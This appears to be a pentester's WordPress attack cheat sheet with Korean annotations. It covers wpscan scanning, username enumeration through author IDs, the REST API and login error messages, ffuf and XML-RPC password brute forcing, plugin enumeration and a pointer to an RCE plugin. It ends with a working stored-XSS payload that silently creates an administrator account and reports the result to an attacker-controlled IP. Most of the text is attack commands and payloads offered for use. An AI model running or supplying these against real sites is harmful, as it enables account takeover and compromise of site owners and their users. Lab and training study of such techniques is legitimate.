WPScan

Command:

# Command
wpscan --url http://<Target_IP or domain> --enumerate p --plugins-detection aggressive -o wpscan.result
 
# Example
http://test.local/assets/fonts/blog/wp-login.php => WP 설치 확인되었다고 가정,
wpscan --url http//test.local/assets/fonts/blog/ --plugins-detection aggressive
 
# DB_update
wpscan --update

User Enumeration

Author ID Brute:

curl -s -I -X GET http://test.local/?author=1
  • 유효한 author이면 2-300을, 그렇지 않으면 400코드 반환

wp-json / rest_route

http://test.local/index.php/wp-json/wp/v2/users
http://test.local/?rest_route=/wp/v2/users

로그인 시도 응답 브루트포싱

wp-login.php에 로그인 시도
 
ffuf -request-proto http -request login.req -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t 100 -fw 351
  • 유효한 사용자명
    • Error: The password you entered for the username admin is incorrect.
  • 유효하지 않은 사용자명
    • Error: The username nonExistUser is not registered on this site. If you are unsure of your username, try your email address instead.

XML-RPC

POST /xmlrpc.php HTTP/1.1
Host: test.local
...
 
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Login BruteForce

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
  • admin:password가 유효하지 않은 크리덴셜이라면, xml faultCode 403 반환 (http코드와 별개)
  • ffuf를 통해 브루트포싱 가능

Plugins

Enumeration

# ffuf bruteforce
ffuf -u http://test.local/wp-content/plugins/FUZZ/readme.txt -w plugins.txt -t 100 -fc 301
 
# plugin wordlist
https://github.com/Perfectdotexe/WordPress-Plugins-List
wget https://raw.githubusercontent.com/Perfectdotexe/WordPress-Plugins-List/refs/heads/master/plugins.txt

install RCE plugin

https://github.com/xanhacks/wordpress-rce-plugin
  • 설치 후 모든 페이지에서 ?cmd=[Base64_Payload] 로 트리거

Add Admin XSS

VPN_IP="10.10.10.10"
js_payload = """
    fetch('/wp-admin/user-new.php')
    .then(r=>r.text())
    .then(d=>{
        var n=new DOMParser()
            .parseFromString(d,'text/html')
            .querySelector('#_wpnonce_create-user').value;
        return fetch('/wp-admin/user-new.php',{
            method:'POST',
            headers:{'Content-Type':'application/x-www-form-urlencoded'},
            body:new URLSearchParams({
                '_wpnonce_create-user':n,
                action:'createuser',
                user_login:'foo',
                email:'foo@foo.com',
                pass1:'foo',
                pass2:'foo',
                pw_weak:'on',
                role:'administrator',
                createuser:'Add+New+User'
            })
        });
    })
    .then(r=>fetch('http://""" + VPN_IP + """/?done='+r.status))
    """
js_minified = js_payload.replace('\n', '').replace('    ', '')
 
XSS = f'<img src=x onerror="{js_minified}">'
print(XSS)